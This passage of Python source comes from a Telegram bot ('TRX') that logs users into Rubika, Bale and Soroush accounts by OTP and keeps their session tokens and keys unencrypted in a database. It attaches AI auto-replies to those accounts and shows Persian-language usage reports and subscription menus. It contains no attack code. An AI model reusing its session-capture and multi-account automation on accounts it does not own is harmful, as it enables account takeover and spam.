                bot.offset = upd["update_id"] + 1
                try:
                    if "message" in upd: await on_msg(upd["message"])
                    elif "callback_query" in upd: await on_cb(upd["callback_query"])
                except Exception as e:
                    log.error(f"update handling: {e}\n{traceback.format_exc(limit=40)}")
        except asyncio.CancelledError: break
        except Exception as e:
            log.warning(f"polling error: {e}")
            await asyncio.sleep(5)

# ═══════════════════════════════════════════════════════════════════
#  STARTUP / SHUTDOWN
# ═══════════════════════════════════════════════════════════════════

def _write_pid():
    try:
        with open(PID_PATH, "w") as f: f.write(str(os.getpid()))
    except Exception: pass

def _remove_pid():
    try:
        if os.path.exists(PID_PATH): os.remove(PID_PATH)
    except Exception: pass

async def main():
    global db, bot
    print("━" * 60)
    print("  🦖 TRX14 — NEW FIXED BUILD")
    print(f"  [i] Running file: {os.path.abspath(__file__)}")
    print("━" * 60)
    print(f"  [i] Project dir: {PROJECT_DIR}")
    print(f"  [i] DB path:     {DB_PATH}")

    if not BOT_TOKEN: print("[FATAL] BOT_TOKEN empty."); sys.exit(1)

    _write_pid()
    db = DB(DB_PATH)
    _trx660_ensure_apk_sources_schema()
    _migrate_runtime_schema()
    _ensure_banner_schema()
    try:
        cols = {r["name"] for r in db.fetchall("PRAGMA table_info(banners)")}
        print(f"  [i] banners.image_file_id: {'OK' if 'image_file_id' in cols else 'MISSING'}")
    except Exception as e: print(f"  [!] banner schema check: {e}")
    try: print(f"  [i] AI bindings saved: {db.fetchone('SELECT COUNT(*) c FROM ai_bindings WHERE enabled=1')['c']}")
    except Exception: pass
    print(f"  [✓] Database")

    await ai.start()
    await ai.seed()
    await _restore_ai_live_clients()
    print(f"  [✓] AI Providers seeded")

    bot = Bot(BOT_TOKEN)
    await bot.start()
    me = await bot.get_me()
    if not me.get("ok"):
        print(f"  [x] getMe failed: {me}"); _remove_pid(); sys.exit(1)
    bot.me = me["result"]
    print(f"  [✓] Bot: @{bot.me.get('username')}")

    dw = await bot.delete_webhook()
    print(f"  [✓] deleteWebhook: {dw.get('ok')}")

    # Do not drain the latest update at boot; a user /start must remain queued.
    print(f"  [✓] Polling armed (offset={bot.offset})")
    print("  [✓] TRX is now listening...\n")

    bot.running = True
    try: await polling_loop()
    finally:
        bot.running = False
        await bot.close(); await ai.close(); db.close(); _remove_pid()
        print("\n[✓] TRX stopped.")

# ═══════════════════════════════════════════════════════════════════
#  TRX PATCH v2 — compatibility, analytics, banners, UI and OTP fixes
#  این بلوک عمداً به انتهای منطق برنامه اضافه شده تا کدهای قبلی حذف نشوند.
# ═══════════════════════════════════════════════════════════════════

# ---------- Telegram-compatible inline keyboards ----------
# Telegram's Bot API does not use a generic "style" field for InlineKeyboardButton.
# Keep the original 3-item button definitions accepted by IKB, but omit unsupported
# fields from the actual Telegram payload.
def IKB(rows):
    keyboard = []
    for row in rows:
        kb_row = []
        for item in row:
            if len(item) >= 2:
                text, data = item[0], item[1]
                kb_row.append({"text": str(text), "callback_data": str(data)})
        keyboard.append(kb_row)
    return {"inline_keyboard": keyboard}


async def _bot_send_photo(self, chat_id, photo, caption="", reply_markup=None):
    params = {"chat_id": chat_id, "photo": photo}
    if caption:
        params["caption"] = caption
        params["parse_mode"] = "Markdown"
    if reply_markup:
        params["reply_markup"] = reply_markup
    r = await self.call("sendPhoto", **params)
    # [TRX FIX] همان مشکل can't-parse-entities برای کپشن عکس بنر.
    if caption and not r.get("ok"):
        params.pop("parse_mode", None)
        r = await self.call("sendPhoto", **params)
    return r

Bot.send_photo = _bot_send_photo


# ---------- Account OTP flow ----------
# The old on_msg correctly verifies ADD_ACC_OTP, but the send-code branch did not
# switch the state from ADD_ACC_PHONE to ADD_ACC_OTP. This wrapper fixes that
# without replacing the working message handler.
_original_service_handlers = dict(SERVICE_HANDLERS)

async def _otp_state_wrapper(uid, phone, _svc, _send):
    ok, info = await _send(uid, phone)
    if ok:
        state.set(uid, State.ADD_ACC_OTP, service=_svc, phone=phone)
    return ok, info


def _wrap_otp_handler(svc, send_func):
    async def wrapped(uid, phone):
        return await _otp_state_wrapper(uid, phone, svc, send_func)
    return wrapped


# ---------- Rubika: never call interactive Client.start() during bot OTP ----------
# rubpy.start() can fall back to input() when no session exists, which produces
# "EOF when reading a line" on a web/Telegram bot. Use the explicit non-interactive
# request/verification methods when available.
async def rubika_send_code_v2(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        from rubpy import Client
    except ImportError:
        return False, "rubpy not installed. Run: pip3 install rubpy"
    try:
        session_name = os.path.join(SESS_DIR, f"rubika_{uid}")
        client = Client(session_name)
        # Connect without starting the interactive login flow when the library exposes
        # a connection helper. If unavailable, use its explicit login object methods.
        connected = False
        for method_name in ("connect",):
            method = getattr(client, method_name, None)
            if method:
                result = method()
                if asyncio.iscoroutine(result): await result
                connected = True
                break
        if not connected:
            # Some rubpy versions initialize their connection lazily on direct auth RPCs.
            pass

        send_method = getattr(client, "send_code", None)
        if send_method is None:
            return False, "نسخه نصب‌شده rubpy متد send_code ندارد؛ rubpy را به‌روز کنید."
        # [TRX11 FIX] Same "98XXXXXXXXXX" digits-only form Rubika's login API expects
        # (see rulog fix above) — keeps this fallback path consistent with the primary one.
        sent = send_method(_trx_phone_98digits(phone))
        if asyncio.iscoroutine(sent): sent = await sent

        phone_hash = None
        if isinstance(sent, dict):
            phone_hash = sent.get("phone_code_hash") or sent.get("data", {}).get("phone_code_hash")
        else:
            phone_hash = getattr(sent, "phone_code_hash", None)
        if not phone_hash:
            phone_hash = getattr(client, "phone_code_hash", None)

        active_clients[uid] = {
            "client": client, "service": "rubika", "phone": _trx_phone_98digits(phone),
            "hash": phone_hash,
        }
        log.info(f"[{uid}] Rubika OTP requested for {phone[:6]}***")
        return True, sent
    except Exception as e:
        log.error(f"[{uid}] Rubika send_code: {e}")
        return False, str(e)


async def rubika_verify_v2(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "rubika":
        return False, "نشست ورود روبیکا پیدا نشد؛ دوباره شماره را وارد کنید."
    client = info["client"]
    try:
        sign_in = getattr(client, "sign_in", None)
        if sign_in is None:
            return False, "نسخه نصب‌شده rubpy متد sign_in ندارد؛ rubpy را به‌روز کنید."
        kwargs = {"phone": info["phone"], "code": code}
        if info.get("hash"):
            kwargs["phone_code_hash"] = info["hash"]
        try:
            result = sign_in(**kwargs)
        except TypeError:
            result = sign_in(info["phone"], code)
        if asyncio.iscoroutine(result): result = await result

        me = None
        get_me = getattr(client, "get_me", None)
        if get_me:
            me = get_me()
            if asyncio.iscoroutine(me): me = await me

        session_obj = getattr(client, "session", None)
        session_str = ""
        if session_obj is not None:
            save = getattr(session_obj, "save", None)
            if save:
                session_str = save()
                if asyncio.iscoroutine(session_str): session_str = await session_str
            elif isinstance(session_obj, str):
                session_str = session_obj
        if not session_str:
            auth = getattr(client, "auth", None)
            if auth:
                session_str = str(auth)

        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "rubika", info["phone"], str(session_str), "online", now()))
        account_id = cur.lastrowid
        _register_ai_handler(client, uid, "rubika")
        active_clients[uid]["connected"] = True
        active_clients[uid]["account_id"] = account_id
        log_account_activity(account_id, uid, "login", "rubika", 1)
        log_event(uid, "ACCOUNT_ADDED", "rubika")
        return True, me or result
    except Exception as e:
        log.error(f"[{uid}] Rubika verify: {e}")
        return False, str(e)


# ---------- Bale: support the non-interactive OTP client used by current docs ----------
# The old aiobale branch can fail simply because that package/version is absent.
# Prefer the maintained web-RPC style client if installed, and keep aiobale as fallback.
async def bale_send_code_v2(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        try:
            from bale import auth as bale_auth
            session = bale_auth.start_phone_auth(int(re.sub(r"\D", "", phone)))
            if asyncio.iscoroutine(session): session = await session
            tx = getattr(session, "transaction_hash", None)
            if tx is None and isinstance(session, dict):
                tx = session.get("transaction_hash") or session.get("transactionHash")
            if not tx:
                return False, "بله نشست OTP معتبر برنگرداند."
            active_clients[uid] = {
                "client": None, "service": "bale", "phone": phone,
                "transaction_hash": tx, "bale_auth_session": session,
            }
            log.info(f"[{uid}] Bale OTP requested for {phone[:6]}***")
            return True, session
        except ImportError:
            pass

        from aiobale import Client as BaleClient, Dispatcher
        dp = Dispatcher()
        client = BaleClient(dp)
        # Do not call a start() variant that asks for input().
        send_method = getattr(client, "send_code_request", None) or getattr(client, "send_code", None)
        if send_method is None:
            return False, "aiobale نصب است اما API ارسال کد آن با این نسخه سازگار نیست."
        sent = send_method(phone)
        if asyncio.iscoroutine(sent): sent = await sent
        phone_hash = getattr(sent, "phone_code_hash", None)
        if isinstance(sent, dict):
            phone_hash = phone_hash or sent.get("phone_code_hash")
        active_clients[uid] = {
            "client": client, "service": "bale", "phone": phone,
            "hash": phone_hash,
        }
        return True, sent
    except Exception as e:
        log.error(f"[{uid}] Bale send_code: {e}")
        return False, str(e)


async def bale_verify_v2(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "bale":
        return False, "نشست ورود بله پیدا نشد؛ دوباره شماره را وارد کنید."
    try:
        # Current bale-sdk authentication API.
        if info.get("transaction_hash"):
            from bale import auth as bale_auth, BaleClient
            result = bale_auth.validate_code(info["transaction_hash"], code)
            if asyncio.iscoroutine(result): result = await result
            token = getattr(result, "access_token", None)
            if token is None and isinstance(result, dict):
                token = result.get("access_token") or result.get("accessToken")
            if not token:
                return False, "کد تایید شد اما توکن ورود بله دریافت نشد."
            client = BaleClient(token)
            me = await client.get_me()
            cur = db.execute(
                "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
                (uid, "bale", info["phone"], str(token), "online", now()))
            account_id = cur.lastrowid
            active_clients[uid] = {"client": client, "service": "bale", "phone": info["phone"],
                                    "connected": True, "account_id": account_id}
            log_account_activity(account_id, uid, "login", "bale", 1)
            log_event(uid, "ACCOUNT_ADDED", "bale")
            return True, me

        client = info.get("client")
        if client is None:
            return False, "کلاینت بله پیدا نشد."
        sign_in = getattr(client, "sign_in", None) or getattr(client, "login", None)
        if sign_in is None:
            return False, "نسخه نصب‌شده کتابخانه بله متد ورود مناسب ندارد."
        try:
            result = sign_in(phone=info["phone"], code=code, phone_code_hash=info.get("hash"))
        except TypeError:
            result = sign_in(info["phone"], code)
        if asyncio.iscoroutine(result): result = await result
        me = None
        get_me = getattr(client, "get_me", None)
        if get_me:
            me = get_me()
            if asyncio.iscoroutine(me): me = await me
        cur = db.execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
            (uid, "bale", info["phone"], "", "online", now()))
        account_id = cur.lastrowid
        active_clients[uid]["connected"] = True
        active_clients[uid]["account_id"] = account_id
        log_account_activity(account_id, uid, "login", "bale", 1)
        log_event(uid, "ACCOUNT_ADDED", "bale")
        return True, me or result
    except Exception as e:
        log.error(f"[{uid}] Bale verify: {e}")
        return False, str(e)


# Soroush remains on the already-working implementation; only the OTP state is fixed.
SERVICE_HANDLERS = {
    "soroush": {"send": _wrap_otp_handler("soroush", _original_service_handlers["soroush"]["send"]),
                "verify": _original_service_handlers["soroush"]["verify"]},
    "rubika":  {"send": _wrap_otp_handler("rubika", rubika_send_code_v2),
                "verify": rubika_verify_v2},
    "bale":    {"send": _wrap_otp_handler("bale", bale_send_code_v2),
                "verify": bale_verify_v2},
}


# ---------- Better per-account AI logging ----------
def _account_id_for(uid, service):
    r = db.fetchone("SELECT id FROM accounts WHERE user_id=? AND service=? ORDER BY id DESC LIMIT 1",
                    (uid, service))
    return r["id"] if r else None


async def _restore_ai_live_clients():
    """Reconnect only accounts explicitly selected for AI.
    This makes an AI binding survive a TRX restart instead of silently becoming dead.
    """
    try:
        rows=db.fetchall("SELECT b.account_id,b.user_id,a.service,a.phone,a.session FROM ai_bindings b JOIN accounts a ON a.id=b.account_id WHERE b.enabled=1 AND a.enabled=1")
    except Exception as e:
        log.warning(f"AI restore query: {e}"); return
    for r in rows:
        uid,aid,svc=r["user_id"],r["account_id"],r["service"]
        try:
            client=None
            if svc=="bale":
                from bale import BaleClient
                token=r["session"]
                if token:
                    client=BaleClient(token)
                    enter=getattr(client,"__aenter__",None)
                    if enter:
                        x=enter();
                        if asyncio.iscoroutine(x): x=await x
                        if x is not None: client=x
                    else:
                        connect=getattr(client,"connect",None)
                        if connect:
                            x=connect();
                            if asyncio.iscoroutine(x): await x
            elif svc=="rubika":
                from rubpy import Client as RubpyClient
                data=json.loads(r["session"] or "{}")
                if data.get("auth") and data.get("key"):
                    client=RubpyClient(os.path.join(SESS_DIR,f"rubika_{uid}"),auth=str(data["auth"]),private_key=data["key"],phone_number=r["phone"],platform="Android")
                    connect=getattr(client,"connect",None)
                    if connect:
                        x=connect();
                        if asyncio.iscoroutine(x): await x
            elif svc=="soroush":
                from spluslib import SplusClient
                client=SplusClient(os.path.join(SESS_DIR,f"soroush_{uid}"))
                connect=getattr(client,"connect",None)
                if connect:
                    x=connect();
                    if asyncio.iscoroutine(x): await x
            if client is None: continue
            ai_live_clients[(uid,aid)]=client
            active_clients[uid]={"client":client,"service":svc,"phone":r["phone"],"connected":True,"account_id":aid}
            _register_ai_handler(client,uid,svc,aid)
            log.info(f"AI account restored: {svc} #{aid} uid={uid}")
        except Exception as e:
            log.warning(f"AI account restore failed {svc} #{aid}: {e}")


def _ai_usage_counts(uid, account_id=None, since=None):
    where = ["user_id=?"]
    params = [uid]
    if account_id is not None:
        where.append("account_id=?"); params.append(account_id)
    if since:
        where.append("created_at>=?"); params.append(since)
    q = "SELECT COUNT(*) c FROM ai_usage WHERE " + " AND ".join(where)
    return db.fetchone(q, tuple(params))["c"]


# Replace the handler with one that records real per-account AI activity.
def _register_ai_handler(client, uid:int, service:str, account_id:Optional[int]=None):
    account_id=account_id or _account_id_for(uid,service)
    if not account_id: return False
    async def handler(event):
        try:
            b=db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1",(uid,account_id))
            if not b or getattr(event,"is_me",False) or getattr(event,"out",False): return
            private=getattr(event,"is_private",None)
            if private is True and not b["auto_reply_pv"]: return
            if private is False and not b["auto_reply_group"]: return
            text=getattr(event,"raw_text",None) or getattr(event,"text","") or ""
            if not text.strip(): return
            u=db.fetchone("SELECT * FROM users WHERE user_id=?",(uid,))
            if not u or not u["ai_enabled"]: return
            kb=db.fetchone("SELECT value FROM settings WHERE key=?",(f"kb:{uid}",)); kb_text=kb["value"] if kb else ""
            tone=TONE_PROMPT.get(u["tone"] or "friendly_ir","")
            reply=await ai.chat([{"role":"system","content":SAFETY_POLICY+"\n"+tone+"\n\nKnowledge:\n"+kb_text},{"role":"user","content":text[:1500]}],uid=uid,account_id=account_id,action_type="auto_reply",temperature=0.6,max_tokens=400)
            if reply:
                if hasattr(event,"reply"): await event.reply(reply)
                elif hasattr(event,"respond"): await event.respond(reply)
                log_account_activity(account_id,uid,"ai_reply",str(getattr(event,"chat_id","") or service)[:200],1)
        except Exception as e: log.error(f"AI handler {service}/{account_id}: {e}")
    try:
        if hasattr(client,"on_message"): client.on_message(handler)
        elif hasattr(client,"on_message_updates"): client.on_message_updates()(handler)
        elif hasattr(client,"on"): client.on(handler)
        else: return False
        return True
    except Exception as e: log.warning(f"AI handler registration {service}/{account_id}: {e}"); return False


# ---------- AI provider compatibility ----------
# Groq and Cerebras both expose OpenAI-compatible chat completions. Atria does too,
# but uses its own current endpoint/model. Existing database providers are respected;
# only missing/old Atria settings are normalized at request time.
def _provider_request_config(prov):
    provider = (prov["provider"] or "").lower().strip()
    base = (prov["base_url"] or "").strip().rstrip("/")
    model = (prov["model"] or "").strip()
    if provider == "groq":
        base = "https://api.groq.com/openai/v1"
        if not model or model.lower() in {"llama-3.3-70b-versatile"}:
            model = "llama-3.3-70b-versatile"
    elif provider == "cerebras":
        base = "https://api.cerebras.ai/v1"
        # Keep an explicitly configured supported model; otherwise use a current default.
        if not model or model == "llama-3.3-70b":
            model = "gpt-oss-120b"
    elif provider == "atria":
        base = "https://api.atria-asi.ai/v1"
        model = "Atria-Dawn-Preview"
    elif provider == "gapgpt":
        # GapGPT is kept database-driven: its endpoint/model may be customized by admin.
        base = base or "https://api.gapgpt.app/v1"
        model = model or "gpt-4o-mini"
    return base, model


async def _ai_call_v2(self, prov, messages, temperature=0.7, max_tokens=600):
    base, model = _provider_request_config(prov)
    url = base + "/chat/completions"
    headers = {"Authorization": f"Bearer {prov['api_key']}", "Content-Type": "application/json"}
    body = {"model": model, "messages": messages}
    # Current providers accept max_tokens; Cerebras/Atria also document max_completion_tokens.
    body["max_tokens"] = max_tokens
    if temperature is not None:
        body["temperature"] = temperature
    if (prov["provider"] or "").lower() == "cerebras":
        headers["X-Cerebras-Version-Patch"] = "2"
    try:
        async with self.session.post(url, headers=headers, json=body) as r:
            txt = await r.text()
            if r.status >= 400:
                status = "rate_limited" if r.status == 429 else "failed"
                db.execute("UPDATE ai_providers SET error_count=error_count+1, status=? WHERE id=?",
                           (status, prov["id"]))
                log.warning(f"AI {prov['name']} HTTP {r.status}: {txt[:500]}")
                return None
            data = json.loads(txt)
            choices = data.get("choices") or []
            if not choices:
                raise ValueError("پاسخ API فاقد choices است")
            content = (choices[0].get("message") or {}).get("content")
            if not content:
                raise ValueError("پاسخ API فاقد message.content است")
            usage = data.get("usage") or {}
            tokens = int(usage.get("total_tokens") or 0)
            db.execute("UPDATE ai_providers SET status='working', last_test=? WHERE id=?",
                       (now(), prov["id"]))
            return content, tokens
    except Exception as e:
        db.execute("UPDATE ai_providers SET error_count=error_count+1, status='failed' WHERE id=?",
                   (prov["id"],))
        log.warning(f"AI {prov['name']} error: {e}")
        return None


async def _ai_chat_v2(self, messages, uid=0, account_id=None, action_type="chat",
                      temperature=0.7, max_tokens=600):
    await self.start()
    provs = self._load()
    if not provs: return None
    provs = sorted(provs, key=lambda p: (
        0 if p["status"] == "working" else 1 if p["status"] == "unknown" else 2,
        p["priority"]))
    for prov in provs:
        result = await _ai_call_v2(self, prov, messages, temperature, max_tokens)
        if result:
            content, tokens = result
            try:
                db.execute("INSERT INTO ai_usage(user_id,provider_id,account_id,action_type,tokens,success,created_at) "
                           "VALUES(?,?,?,?,?,1,?)",
                           (uid, prov["id"], account_id, action_type, tokens, now()))
            except Exception: pass
            return content
    return None

AIProvider._call = _ai_call_v2
AIProvider.chat = _ai_chat_v2


# ---------- Rich AI statistics ----------
def _ai_stats_text_v2(uid):
    total = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
    tokens = db.fetchone("SELECT COALESCE(SUM(tokens),0) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
    auto = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=? AND action_type='auto_reply'", (uid,))["c"]
    targets = db.fetchall("SELECT * FROM ai_targets WHERE user_id=? ORDER BY id DESC", (uid,))
    accs = db.fetchall("SELECT * FROM accounts WHERE user_id=? ORDER BY service,id", (uid,))
    lines = [
        "📊 **گزارش هوش مصنوعی**",
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
        f"🤖 کل پردازش‌های AI: **{total}**",
        f"💬 پاسخ‌های خودکار ثبت‌شده: **{auto}**",
        f"🧮 توکن‌های ثبت‌شده: **{tokens:,}**",
        f"🎯 هدف‌های تنظیم‌شده: **{len(targets)}**",
        "",
        "📱 **تفکیک بر اساس حساب**",
    ]
    if not accs:
        lines.append("• هنوز حسابی متصل نشده است.")
    for a in accs:
        c = _ai_usage_counts(uid, a["id"])
        acts = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE account_id=?", (a["id"],))["c"]
        lines.append(f"• {a['service'].upper()} | {_mask_phone(a['phone'])} → AI: **{c}** | فعالیت: **{acts}**")
    lines += ["", "🎯 **هدف‌ها / پلتفرم‌ها**"]
    if not targets:
        lines.append("• هدف تبلیغاتی یا کانالی تنظیم نشده است.")
    for trow in targets[:20]:
        plat = (trow["platform"] or "—").upper()
        lines.append(f"• {trow['target_type']} | {plat} | `{str(trow['target_id'])[:50]}`")
    lines += ["", "🧠 **تحلیل**",
              "این آمار فقط فعالیت‌هایی را نشان می‌دهد که خود ربات در دیتابیس ثبت کرده است؛ "
              "بنابراین عددها با وضعیت واقعی هر پیام‌رسان فقط در صورتی دقیق هستند که کلاینت آن سرویس رویداد را گزارش کند."]
    return "\n".join(lines)


# ---------- Rich reports ----------
def _reports_text_v2(uid, lang):
    since24 = (datetime.utcnow() - timedelta(hours=24)).isoformat(timespec="seconds")
    since7 = (datetime.utcnow() - timedelta(days=7)).isoformat(timespec="seconds")
    total = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=?", (uid,))["c"]
    active = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1", (uid,))["c"]
    online = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1 AND status='online'", (uid,))["c"]
    ai24 = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=? AND created_at>=?", (uid, since24))["c"]
    ai7 = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=? AND created_at>=?", (uid, since7))["c"]
    sent = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=? AND success=1", (uid,))["c"]
    failed = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=? AND success=0", (uid,))["c"]
    apks = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
    targets = db.fetchone("SELECT COUNT(*) c FROM ai_targets WHERE user_id=?", (uid,))["c"]
    lines = [
        "📊 **گزارش حرفه‌ای حساب و AI**",
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
        "📱 **وضعیت حساب‌ها**",
        f"• کل حساب‌ها: **{total}**",
        f"• فعال: **{active}**",
        f"• آنلاین ثبت‌شده: **{online}**",
        "",
        "🤖 **مصرف AI**",
        f"• ۲۴ ساعت اخیر: **{ai24}** پردازش",
        f"• ۷ روز اخیر: **{ai7}** پردازش",
        "",
        "📨 **فعالیت ثبت‌شده**",
        f"• موفق: **{sent}**",
        f"• ناموفق: **{failed}**",
        "",
        "📦 **محتوا و اهداف**",
        f"• APK فعال: **{apks}**",
        f"• هدف‌های AI: **{targets}**",
        "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
        "📈 **تحلیل عملکرد**",
    ]
    if active == 0:
        lines.append("هنوز هیچ حساب فعالی برای اجرای قابلیت‌های AI وجود ندارد.")
    elif ai7 == 0:
        lines.append("حساب‌های فعال ثبت شده‌اند، اما در ۷ روز گذشته فعالیت AI قابل ثبت وجود نداشته است.")
    else:
        avg = round(ai7 / max(active, 1), 1)
        lines.append(f"میانگین پردازش AI به ازای هر حساب فعال در ۷ روز گذشته حدود **{avg}** بوده است.")
    lines.append("توجه: این گزارش بر اساس رویدادهای ثبت‌شده توسط همین ربات ساخته می‌شود و جایگزین آمار داخلی پیام‌رسان نیست.")

    # Per-account section
    lines += ["", "📱 **جزئیات حساب‌ها**"]
    rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? ORDER BY service,id", (uid,))
    if not rows:
        lines.append("• موردی ثبت نشده است.")
    for a in rows:
        ac = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE account_id=?", (a["id"],))["c"]
        okc = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE account_id=? AND success=1", (a["id"],))["c"]
        erc = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE account_id=? AND success=0", (a["id"],))["c"]
        lines.append(f"• #{a['id']} | {a['service'].upper()} | {_mask_phone(a['phone'])} | AI **{ac}** | موفق **{okc}** | خطا **{erc}**")
    return "\n".join(lines)


# ---------- Profile ----------
def _profile_text_v2(uid, u):
    sub = get_active_subscription(uid)
    accs = db.fetchall("SELECT * FROM accounts WHERE user_id=? ORDER BY service,id", (uid,))
    apks = db.fetchall("SELECT * FROM apk_files WHERE user_id=? ORDER BY id DESC", (uid,))
    ai_total = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
    ai_tokens = db.fetchone("SELECT COALESCE(SUM(tokens),0) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
    targets = db.fetchall("SELECT * FROM ai_targets WHERE user_id=?", (uid,))
    activities = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=?", (uid,))["c"]
    sub_txt = "🔴 بدون اشتراک فعال"
    if sub:
        sub_txt = f"🟢 {sub['accounts']} اکانت / {sub['days']} روز | انقضا `{sub['expires_at'][:10]}` | {sub['price']} TRX"
    by_service = {}
    for a in accs:
        by_service[a["service"]] = by_service.get(a["service"], 0) + 1
    service_txt = " | ".join(f"{k.upper()}: {v}" for k,v in by_service.items()) or "—"
    return (f"👤 **پروفایل حرفه‌ای کاربر**\n\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"🆔 آیدی عددی: `{uid}`\n"
            f"📛 نام: **{u['first_name'] or '—'}**\n"
            f"🔗 یوزرنیم: @{u['username'] or '—'}\n"
            f"🌐 زبان: **{u['lang'] or 'fa'}**\n"
            f"🤖 وضعیت AI: **{'روشن' if u['ai_enabled'] else 'خاموش'}**\n"
            f"🎭 لحن AI: **{u['tone'] or '—'}**\n"
            f"📅 تاریخ عضویت: `{u['created_at']}`\n"
            f"🕒 آخرین فعالیت: `{u['last_activity']}`\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"💳 **اشتراک**\n{sub_txt}\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"📱 **حساب‌ها: {len(accs)}**\n"
            f"• تفکیک سرویس: {service_txt}\n"
            f"• فعال: **{sum(1 for a in accs if a['enabled'])}**\n"
            f"• غیرفعال: **{sum(1 for a in accs if not a['enabled'])}**\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"🤖 **هوش مصنوعی**\n"
            f"• کل پردازش‌ها: **{ai_total}**\n"
            f"• توکن ثبت‌شده: **{ai_tokens:,}**\n"
            f"• هدف‌های تنظیم‌شده: **{len(targets)}**\n"
            f"• فعالیت‌های حساب: **{activities}**\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
            f"📦 **APK**\n"
            f"• کل: **{len(apks)}** | فعال: **{sum(1 for a in apks if a['enabled'])}**\n"
            f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")


# ---------- Subscription UI ----------
def _sub_text_v2(lang, uid):
    sub = get_active_subscription(uid)
    txt = ["💳 **مدیریت اشتراک TRX**", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
    if sub:
        txt += ["🟢 **اشتراک فعال است**",
                f"📱 ظرفیت: **{sub['accounts']} اکانت**",
                f"📅 مدت: **{sub['days']} روز**",
                f"💰 مبلغ: **{sub['price']} TRX**",
                f"⏰ انقضا: `{sub['expires_at'][:10]}`", ""]
    else:
        txt += ["🔴 **اشتراک فعالی ندارید**", ""]
    txt += ["📌 برای خرید، یکی از پلن‌های زیر را انتخاب کنید.",
            f"🆘 پشتیبانی و فعال‌سازی: **{ADMIN_USERNAME}**",
            "بعد از پرداخت/هماهنگی، ادمین اشتراک را برای آیدی شما فعال می‌کند.",
            "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
    return "\n".join(txt)


def _sub_kb_v2(lang):
    plans = _get_pricing_plans()
    rows = []
    for p in plans:
        rows.append([(f"💳 {p['days']} روز | {p['accounts']} اکانت | {p['price']} TRX",
                      f"sub.plan:{p['days']}:{p['accounts']}:{p['price']}", "primary")])
    if not rows:
        rows.append([("⚠️ هنوز پلنی تعریف نشده", "sub.noop", "danger")])
    rows.append([(f"🆘 خرید / پشتیبانی {ADMIN_USERNAME}", "set.support", "success")])
    rows.append([(t(lang, "btn.home"), "menu", "primary")])
    return IKB(rows)


# ---------- AI menu / explanations ----------
def _ai_bindings_for_user(uid,platform=None):
    q="SELECT b.*,a.service,a.phone,a.status,a.enabled AS account_enabled FROM ai_bindings b JOIN accounts a ON a.id=b.account_id WHERE b.user_id=?"; p=[uid]
    if platform: q+=" AND a.service=?"; p.append(platform)
    return db.fetchall(q,tuple(p))

def _ai_platform_kb():
    return IKB([[('🔵 روبیکا','ai.bind.plat:rubika','primary')],[('🟢 سروش پلاس','ai.bind.plat:soroush','success')],[('🟡 بله','ai.bind.plat:bale','primary')],[('↩️ بازگشت','ai','primary')]])

def _ai_binding_text(uid):
    rows=_ai_bindings_for_user(uid)
    if not rows: return "🤖 **حساب‌های متصل به AI**\n\nهنوز هیچ اکانتی انتخاب نشده است."
    return "🤖 **حساب‌های متصل به AI**\n\n"+"\n".join(f"{'🟢' if r['enabled'] and r['account_enabled'] else '🔴'} #{r['account_id']} | {r['service']} | {r['phone']} | PV:{'روشن' if r['auto_reply_pv'] else 'خاموش'} | گروه:{'روشن' if r['auto_reply_group'] else 'خاموش'}" for r in rows)

async def _ai_send_test(uid,aid):
    r=db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=?",(aid,uid)); info=active_clients.get(uid); client=ai_live_clients.get((uid,aid)) or (info.get('client') if info and info.get('account_id')==aid else None)
    if not r: return False,'اکانت پیدا نشد.'
    if not client: return False,'کلاینت زنده این اکانت در حافظه نیست؛ اکانت را دوباره لاگین کنید.'
    try:
        send=getattr(client,'send_message',None)
        if not send: return False,'کلاینت متد send_message ندارد.'
        x=send('me',f'🤖 TRX AI TEST\n\n✅ AI روی این اکانت فعال است.\n🆔 Account: {aid}\n🕒 {now()}')
        if asyncio.iscoroutine(x): await x
